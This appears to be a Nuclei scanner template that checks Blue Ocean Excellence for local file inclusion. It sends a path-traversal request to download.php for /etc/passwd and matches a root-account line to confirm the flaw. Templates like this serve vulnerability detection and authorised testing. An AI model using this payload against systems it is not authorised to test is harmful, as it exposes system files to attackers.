id: blue-ocean-excellence-lfi

info:
  name: Blue Ocean Excellence - Local File Inclusion
  author: pikpikcu
  severity: high
  description: Blue Ocean Excellence is vulnerable to local file inclusion.
  reference:
    - https://blog.csdn.net/qq_41901122/article/details/116786883
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-23
  metadata:
    max-request: 1
  tags: blue-ocean,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download.php?file=../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "toor:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d127610df56ec4dc4f2d20d81424ed0c661d85ff7df5a68cd726f98e518f885e022100d8413417a016226eda3e13175525f7627250fb9667fa7749495c75fdd9e65d77:922c64590222798bb761d5b6d8e72950